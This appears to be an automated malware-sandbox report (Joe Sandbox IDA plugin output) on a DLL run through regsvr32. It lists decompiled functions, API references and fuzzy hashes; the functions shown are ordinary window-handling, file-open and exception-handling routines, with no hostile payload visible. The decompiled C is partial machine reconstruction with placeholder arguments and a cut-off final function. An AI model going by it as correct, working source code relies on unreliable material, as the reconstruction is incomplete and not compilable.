Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: Log
API String ID: 1206339513-3077713445
Opcode ID: 87c604a50761b40a95754c3470fab510b0a029ccde3926d9810d75c4c39be62b
Instruction ID: e97bc823a670f8499551d12e545928feadafd009253c2a1859627ae1c4753331
Opcode Fuzzy Hash: 87c604a50761b40a95754c3470fab510b0a029ccde3926d9810d75c4c39be62b
Instruction Fuzzy Hash: 1601867174078185FB069B39AEC47AC1A92EF8EBD6F494031CD4A47705DEAD94858721

Uniqueness

Uniqueness Score: -1.00%

Function 1001B808 Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E1001B808(void* __rax, void* _a80, intOrPtr _a88, intOrPtr* _a176, intOrPtr _a184, intOrPtr _a192, intOrPtr _a200) {
				int _t12;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t25;
				intOrPtr* _t34;
				intOrPtr _t36;
				void* _t40;
				void* _t41;
				void* _t42;
				intOrPtr _t43;

				_t25 = __rax;
				_t34 = _a176;
				_t36 = _a88;
				r15d = _a184;
				_t43 = _a200;
				r14d = _a192;
				if(r14d != 0) {
					_t18 = 1;
					E10019A70(_t43);
				}
				if(r15d != 0) {
					_t18 = 1;
					EnableWindow(??, ??);
				}
				if(_t36 != 0) {
					GetActiveWindow();
					_t23 = _t25 -  *((intOrPtr*)(_t34 + 0x40));
					if(_t25 ==  *((intOrPtr*)(_t34 + 0x40))) {
						SetActiveWindow();
					}
				}
				 *((intOrPtr*)( *_t34 + 0xc0))();
				_t12 = E1001AF70(_t17, _t18, _t19, _t23,  *_t34, _t34, _t40, _t41, _t42);
				if( *((long long*)(_t34 + 0xb0)) != 0) {
					_t12 = FreeResource();
				}
				return _t12;
			}

0x1001b808
0x1001b808
0x1001b815
0x1001b81a
0x1001b822
0x1001b82a
0x1001b835
0x1001b837
0x1001b83f
0x1001b83f
0x1001b847
0x1001b849
0x1001b851
0x1001b851
0x1001b85a
0x1001b85c
0x1001b862
0x1001b866
0x1001b86b
0x1001b86b
0x1001b866
0x1001b877
0x1001b880
0x1001b88d
0x1001b892
0x1001b892
0x1001b8ad

APIs

EnableWindow.USER32 ref: 1001B851
GetActiveWindow.USER32 ref: 1001B85C
SetActiveWindow.USER32 ref: 1001B86B
FreeResource.KERNEL32 ref: 1001B892

Part of subcall function 10019A70: EnableWindow.USER32 ref: 10019A82

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$ActiveEnable$FreeResource
String ID:
API String ID: 253586258-0
Opcode ID: 16eb6d19c962b1056bad1da70885f46e722d70b485deadae4cd0ca6e43994136
Instruction ID: 51fea8046dfc906ddc97a58433317af7df0536176bc1b946ee39e36f2ec45997
Opcode Fuzzy Hash: 16eb6d19c962b1056bad1da70885f46e722d70b485deadae4cd0ca6e43994136
Instruction Fuzzy Hash: E0014F3A705A90C2EA5AEB12F5003AE7365FB84FE5F414115CE5A1BB18CF78D4DAC701

Uniqueness

Uniqueness Score: -1.00%

Function 100259D0 Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E100259D0(void* __ecx, void* __rax, void* __rdx, intOrPtr* __r8, void* __r9, long long _a24) {
				int _t4;
				void* _t7;
				void* _t8;
				void* _t14;
				void* _t29;

				_t14 = __rax;
				_a24 =  *((intOrPtr*)(__r8));
				_t4 = WindowFromPoint(??);
				_t29 = __rax;
				if(__rax != 0) {
					GetParent();
					if(__rax != 0) {
						_t8 = E10029D60(2, __rax, __r9);
						if(_t8 != 0) {
							return _t8;
						}
					}
					ScreenToClient();
					_t7 = E10029E64(_t14, _t29, _a24);
					if(_t14 == 0) {
						L6:
						return _t7;
					}
					_t4 = IsWindowEnabled();
					if(_t4 != 0) {
						goto L6;
					}
				}
				return _t4;
			}

0x100259d0
0x100259da
0x100259df
0x100259e8
0x100259eb
0x100259f0
0x100259fc
0x10025a06
0x10025a0d
0x00000000
0x10025a0f
0x10025a0d
0x10025a1c
0x10025a2a
0x10025a35
0x10025a47
0x00000000
0x10025a47
0x10025a3a
0x10025a45
0x00000000
0x00000000
0x10025a45
0x10025a50

APIs

WindowFromPoint.USER32 ref: 100259DF
GetParent.USER32 ref: 100259F0
ScreenToClient.USER32 ref: 10025A1C
IsWindowEnabled.USER32 ref: 10025A3A

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$ClientEnabledFromParentPointScreen
String ID:
API String ID: 1871804413-0
Opcode ID: 0bf51b77045eecef28b14bb4ba34390b79a2ea31d1d42b3b137a99bc89d31831
Instruction ID: fae22ac04083124f24d91d9e11b5e3b7b803d4ba2fa1e298dbc2aa9253dc10fc
Opcode Fuzzy Hash: 0bf51b77045eecef28b14bb4ba34390b79a2ea31d1d42b3b137a99bc89d31831
Instruction Fuzzy Hash: F5F0492130278446DE85CB6AB99532863E5EB8CFD2F8844389E4E4BB05EEBDD485E711

Uniqueness

Uniqueness Score: -1.00%

Function 1002C690 Relevance: 6.0, APIs: 4, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1002C690(void* __ecx, void* __eflags, void* __rax, void* __rcx, void* __rdx, void* __r11) {
				int _t9;
				int _t10;
				void* _t11;
				void* _t17;
				void* _t18;
				void* _t22;
				void* _t26;
				void* _t27;

				_t22 = __rdx;
				_t17 = __rax;
				_t18 = __rcx;
				E1002C218(1, __rcx);
				ReleaseCapture();
				GetDesktopWindow();
				E10014360(_t11, 1, _t17, _t17, _t22, _t26, _t27, __r11);
				_t9 = LockWindowUpdate(??);
				if( *((intOrPtr*)(_t18 + 0x98)) != 0) {
					_t10 = ReleaseDC();
					 *((long long*)(_t18 + 0x98)) = 0;
					return _t10;
				}
				return _t9;
			}

0x1002c690
0x1002c690
0x1002c69c
0x1002c69f
0x1002c6a4
0x1002c6aa
0x1002c6b3
0x1002c6bd
0x1002c6cd
0x1002c6d7
0x1002c6dd
0x00000000
0x1002c6dd
0x1002c6ee

APIs

Part of subcall function 1002C218: GetStockObject.GDI32 ref: 1002C23F
Part of subcall function 1002C218: InflateRect.USER32 ref: 1002C312

ReleaseCapture.USER32 ref: 1002C6A4
GetDesktopWindow.USER32 ref: 1002C6AA
LockWindowUpdate.USER32 ref: 1002C6BD
ReleaseDC.USER32 ref: 1002C6D7

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ReleaseWindow$CaptureDesktopInflateLockObjectRectStockUpdate
String ID:
API String ID: 1260764132-0
Opcode ID: 1166eade28582459838dc0a51786d8e183b64856a9b50b9dfd0b7f9a19ec7687
Instruction ID: 430693913b6c122ff2e53e90d325daea8eb99c1b69a7cf0f3c3a38ebfbd40779
Opcode Fuzzy Hash: 1166eade28582459838dc0a51786d8e183b64856a9b50b9dfd0b7f9a19ec7687
Instruction Fuzzy Hash: 65F039B9602A4582DE059B65F94974C6321FB8AFD5F489031CE4E0B315DE78C4D88710

Uniqueness

Uniqueness Score: -1.00%

Function 1003C6BB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E1003C6BB(signed int __edi, signed int __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t38;
				intOrPtr _t40;
				signed int _t44;
				signed int _t46;
				signed long long _t49;
				long long _t51;
				void* _t57;
				void* _t59;
				long long* _t61;
				void* _t63;
				void* _t65;
				void* _t66;
				void* _t67;
				void* _t69;
				long long _t71;
				void* _t73;

				_t71 = __r14;
				_t69 = __r13;
				_t51 = __rbx;
				if((dil & 0x00000002) == 0) {
					_t46 = __esi & 0xfffffffc;
					_t44 = __edi & 0xfffffffe | 0x00000002;
					asm("bts esi, 0x7");
				} else {
					_t40 = r14d;
				}
				_t25 =  *((intOrPtr*)(_t51 + 1));
				_t51 = _t51 + 1;
				if(_t25 != 0) {
					if(_t40 == 0) {
						goto L9;
					} else {
						if(_t25 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t38 =  *((intOrPtr*)(_t65 + 0x3c8c4 + _t49 * 4));
							_t53 = _t53 + _t65;
							goto __rcx;
						}
					}
				} else {
					L9:
					if(r11d == 0) {
						L19:
						while( *_t51 == 0x20) {
							_t51 = _t51 + 1;
						}
						if( *_t51 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t44;
							 *((intOrPtr*)(_t63 + 0x20)) = 0x180;
							if(E10048BC0(_t63 + 0x30, _t69) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t28 =  *((intOrPtr*)(_t63 + 0x30));
								 *(_t61 + 0x18) = _t46;
								 *((intOrPtr*)(_t61 + 0x1c)) = _t28;
								 *((intOrPtr*)(_t61 + 8)) = r14d;
								 *_t61 = _t71;
								 *((long long*)(_t61 + 0x10)) = _t71;
								 *((long long*)(_t61 + 0x28)) = _t71;
							}
						}
					} else {
						while( *_t51 == 0x20) {
							_t51 = _t51 + 1;
						}
						_t53 = 0x1009c2c8;
						r8d = 4;
						_t55 = _t51;
						if(E10049190(_t38, _t49, _t51, 0x1009c2c8, _t51, _t57, _t59, _t65, _t66, _t67, _t69) != 0) {
							L1:
							E10032420(_t49);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t63 + 0x20)) = _t71;
							 *_t49 = 0x16;
							E10034370(_t51, _t53, _t55, _t57, _t59, _t61, _t65);
							L2:
							_t28 = 0;
						} else {
							_t51 = _t51 + 4;
							_t55 = 0x1009c2d0;
							_t53 = _t51;
							if(E10048F50(_t38, _t46, _t51, _t51, 0x1009c2d0, _t57, _t59, _t61, _t65, _t67, _t69, _t71, _t73) != 0) {
								_t55 = "UTF-16LE";
								_t53 = _t51;
								if(E10048F50(_t38, _t46, _t51, _t51, "UTF-16LE", _t57, _t59, _t61, _t65, _t67, _t69, _t71, _t73) != 0) {
									_t55 = "UNICODE";
									_t53 = _t51;
									if(E10048F50(_t38, _t46, _t51, _t51, "UNICODE", _t57, _t59, _t61, _t65, _t67, _t69, _t71, _t73) != 0) {
										goto L1;
									} else {
										_t51 = _t51 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t51 = _t51 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t51 = _t51 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t28;
			}

0x1003c6bb
0x1003c6bb
0x1003c6bb
0x1003c6bf
0x1003c6cc
0x1003c6cf
0x1003c6d2
0x1003c6c1
0x1003c6c1
0x1003c6c1
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: e586b13eb3b90842345ddb093bd9ef08eee528b0d1880bdfd9086158a0558a9d
Instruction ID: 01df62c52726da6a11435cb7702cd4c3cf7f8fb0552ff0a4c07609a8004eaa72
Opcode Fuzzy Hash: e586b13eb3b90842345ddb093bd9ef08eee528b0d1880bdfd9086158a0558a9d
Instruction Fuzzy Hash: 4D31D17BA087C48EE712CF22A804B596BA0F7857D9F185112EE89D775ACB39C501CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10036AFF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E10036AFF(void* __ecx, long* __rax, long long __rbx, void* __rcx, void* __rdx, void* __rdi, void* __rsi, void* __rbp, void* __r8, void* __r12, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40, long long _a48, long long _a56, long long _a64, intOrPtr _a72, intOrPtr* _a88, intOrPtr _a96, intOrPtr* _a104, void* _a128, void* _a136, void* _a144, void* _a160, void* _a168, void* _a176, void* _a184) {
				void* _t37;
				intOrPtr _t38;
				long* _t57;
				long long _t62;
				long long _t70;
				intOrPtr* _t73;
				intOrPtr* _t84;
				intOrPtr* _t86;
				long long _t88;

				_t82 = __r12;
				_t78 = __r8;
				_t75 = __rbp;
				_t68 = __rdx;
				_t57 = __rax;
				_a32 = 1;
				E10035F70(__rax, __rbx, __rcx, __rdx, __rdi, __rsi, __rbp, __r8, __r12);
				r12d = 0;
				 *((intOrPtr*)(_t57 + 0x2d0)) = r12d;
				if(_a36 == r12d) {
					_t73 = _a40;
					r8d =  *((intOrPtr*)(_t73 + 0x18));
					RaiseException(??, ??, ??, ??);
				} else {
					_t73 = _a40;
					E10036620(1, _t73);
					r8d =  *((intOrPtr*)(_a72 + 0x18));
					RaiseException(??, ??, ??, ??);
				}
				r12d = _a32;
				_t62 = _a56;
				_t88 = _a64;
				_t70 = _a48;
				_t84 = _a104;
				_t86 = _a88;
				_t65 = _t86;
				E1002EC00(_t57, _t62, _t86, _t70);
				if(r12d == 0 &&  *_t73 == 0xe06d7363 &&  *((intOrPtr*)(_t73 + 0x18)) == 4) {
					_t38 =  *((intOrPtr*)(_t73 + 0x20));
					if(_t38 == 0x19930520 || _t38 == 0x19930521 || _t38 == 0x19930522) {
						_t65 =  *((intOrPtr*)(_t73 + 0x28));
						if(E1002EBB0(_t57,  *((intOrPtr*)(_t73 + 0x28))) != 0) {
							_t65 = _t73;
							E10036620(1, _t73);
						}
					}
				}
				E10035F70(_t57, _t62, _t65, _t68, _t70, _t73, _t75, _t78, _t82);
				 *((long long*)(_t57 + 0xf0)) = _t70;
				_t37 = E10035F70(_t57, _t62, _t65, _t68, _t70, _t73, _t75, _t78, _t82);
				 *((long long*)(_t57 + 0xf8)) = _t88;
				 *((long long*)( *((intOrPtr*)(_a96 + 0x1c)) +  *_t84)) = 0xfffffffe;
				return _t37;
			}

0x10036aff
0x10036aff
0x10036aff
0x10036aff
0x10036aff
0x10036aff
0x10036b07
0x10036b0c
0x10036b0f
0x10036b1b
0x10036b48
0x10036b51
0x10036b5a
0x10036b1d
0x10036b1f
0x10036b27
0x10036b35
0x10036b40
0x10036b40
0x10036b60
0x10036b65
0x10036b6a
0x10036b6f
0x10036b74
0x10036b79
0x10036b7e
0x10036b81
0x10036b89
0x10036b99
0x10036ba1
0x10036bb1
0x10036bbc
0x10036bc0
0x10036bc3
0x10036bc3
0x10036bbc
0x10036ba1
0x10036bc8
0x10036bcd
0x10036bd4
0x10036bd9
0x10036bed
0x10036c37

APIs

Part of subcall function 10035F70: GetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F7E
Part of subcall function 10035F70: FlsGetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F8C
Part of subcall function 10035F70: FlsSetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FB8
Part of subcall function 10035F70: GetCurrentThreadId.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FCC
Part of subcall function 10035F70: SetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FEA

RaiseException.KERNEL32 ref: 10036B40
RaiseException.KERNEL32 ref: 10036B5A

Strings

csm, xrefs: 10036B8B

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorExceptionLastRaiseValue$CurrentThread
String ID: csm
API String ID: 2851347870-1018135373
Opcode ID: ab92e5cb08614ecf074123753bf675057ed29d5c11d6626ccebc7ae1e3936240
Instruction ID: 9478fb427948ba6aeca1cac821c1c2994c806974b3232a6d14d83a9df21a2fc7
Opcode Fuzzy Hash: ab92e5cb08614ecf074123753bf675057ed29d5c11d6626ccebc7ae1e3936240
Instruction Fuzzy Hash: 5331383A204A818AC631CF12E44075EB764F789BD5F558122EF9E87B68CF39E985CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1003C70D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E1003C70D(void* __edi, intOrPtr __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t36;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t41;
				signed long long _t44;
				long long _t46;
				void* _t52;
				void* _t54;
				long long* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t64;
				long long _t66;
				void* _t68;

				_t66 = __r14;
				_t64 = __r13;
				_t46 = __rbx;
				_t41 = __esi;
				_t40 = __edi;
				if(r9d == 0) {
					r9d = 1;
					asm("bts esi, 0xe");
				} else {
					_t38 = r14d;
				}
				_t23 =  *((intOrPtr*)(_t46 + 1));
				_t46 = _t46 + 1;
				if(_t23 != 0) {
					if(_t38 == 0) {
						goto L9;
					} else {
						if(_t23 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t36 =  *((intOrPtr*)(_t60 + 0x3c8c4 + _t44 * 4));
							_t48 = _t48 + _t60;
							goto __rcx;
						}
					}
				} else {
					L9:
					if(r11d == 0) {
						L19:
						while( *_t46 == 0x20) {
							_t46 = _t46 + 1;
						}
						if( *_t46 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t40;
							 *((intOrPtr*)(_t58 + 0x20)) = 0x180;
							if(E10048BC0(_t58 + 0x30, _t64) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t26 =  *((intOrPtr*)(_t58 + 0x30));
								 *((intOrPtr*)(_t56 + 0x18)) = _t41;
								 *((intOrPtr*)(_t56 + 0x1c)) = _t26;
								 *((intOrPtr*)(_t56 + 8)) = r14d;
								 *_t56 = _t66;
								 *((long long*)(_t56 + 0x10)) = _t66;
								 *((long long*)(_t56 + 0x28)) = _t66;
							}
						}
					} else {
						while( *_t46 == 0x20) {
							_t46 = _t46 + 1;
						}
						_t48 = 0x1009c2c8;
						r8d = 4;
						_t50 = _t46;
						if(E10049190(_t36, _t44, _t46, 0x1009c2c8, _t46, _t52, _t54, _t60, _t61, _t62, _t64) != 0) {
							L1:
							E10032420(_t44);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t58 + 0x20)) = _t66;
							 *_t44 = 0x16;
							E10034370(_t46, _t48, _t50, _t52, _t54, _t56, _t60);
							L2:
							_t26 = 0;
						} else {
							_t46 = _t46 + 4;
							_t50 = 0x1009c2d0;
							_t48 = _t46;
							if(E10048F50(_t36, _t41, _t46, _t46, 0x1009c2d0, _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68) != 0) {
								_t50 = "UTF-16LE";
								_t48 = _t46;
								if(E10048F50(_t36, _t41, _t46, _t46, "UTF-16LE", _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68) != 0) {
									_t50 = "UNICODE";
									_t48 = _t46;
									if(E10048F50(_t36, _t41, _t46, _t46, "UNICODE", _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68) != 0) {
										goto L1;
									} else {
										_t46 = _t46 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t46 = _t46 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t46 = _t46 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t26;
			}

0x1003c70d
0x1003c70d
0x1003c70d
0x1003c70d
0x1003c70d
0x1003c710
0x1003c717
0x1003c71d
0x1003c712
0x1003c712
0x1003c712
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: 7d5d49407bd381053e8144b7e57e8f1a207f6145ae66962c8cd7c2a70e185191
Instruction ID: 57b9f19530996e26a99dd31685d38b127ecb59331103957f08a7a03dae25c8e9
Opcode Fuzzy Hash: 7d5d49407bd381053e8144b7e57e8f1a207f6145ae66962c8cd7c2a70e185191
Instruction Fuzzy Hash: 8F21837AA087C58EEB12CF23E804B897BA0F745BC9F545011EE88DBB1ADB79C541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1003C723 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E1003C723(void* __edi, intOrPtr __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t36;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t41;
				signed long long _t44;
				long long _t46;
				void* _t52;
				void* _t54;
				long long* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t64;
				long long _t66;
				void* _t68;

				_t66 = __r14;
				_t64 = __r13;
				_t46 = __rbx;
				_t41 = __esi;
				_t40 = __edi;
				if(r9d == 0) {
					r9d = 1;
					asm("btr esi, 0xe");
				} else {
					_t38 = r14d;
				}
				_t23 =  *((intOrPtr*)(_t46 + 1));
				_t46 = _t46 + 1;
				if(_t23 != 0) {
					if(_t38 == 0) {
						goto L9;
					} else {
						if(_t23 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t36 =  *((intOrPtr*)(_t60 + 0x3c8c4 + _t44 * 4));
							_t48 = _t48 + _t60;
							goto __rcx;
						}
					}
				} else {
					L9:
					if(r11d == 0) {
						L19:
						while( *_t46 == 0x20) {
							_t46 = _t46 + 1;
						}
						if( *_t46 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t40;
							 *((intOrPtr*)(_t58 + 0x20)) = 0x180;
							if(E10048BC0(_t58 + 0x30, _t64) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t26 =  *((intOrPtr*)(_t58 + 0x30));
								 *((intOrPtr*)(_t56 + 0x18)) = _t41;
								 *((intOrPtr*)(_t56 + 0x1c)) = _t26;
								 *((intOrPtr*)(_t56 + 8)) = r14d;
								 *_t56 = _t66;
								 *((long long*)(_t56 + 0x10)) = _t66;
								 *((long long*)(_t56 + 0x28)) = _t66;
							}
						}
					} else {
						while( *_t46 == 0x20) {
							_t46 = _t46 + 1;
						}
						_t48 = 0x1009c2c8;
						r8d = 4;
						_t50 = _t46;
						if(E10049190(_t36, _t44, _t46, 0x1009c2c8, _t46, _t52, _t54, _t60, _t61, _t62, _t64) != 0) {
							L1:
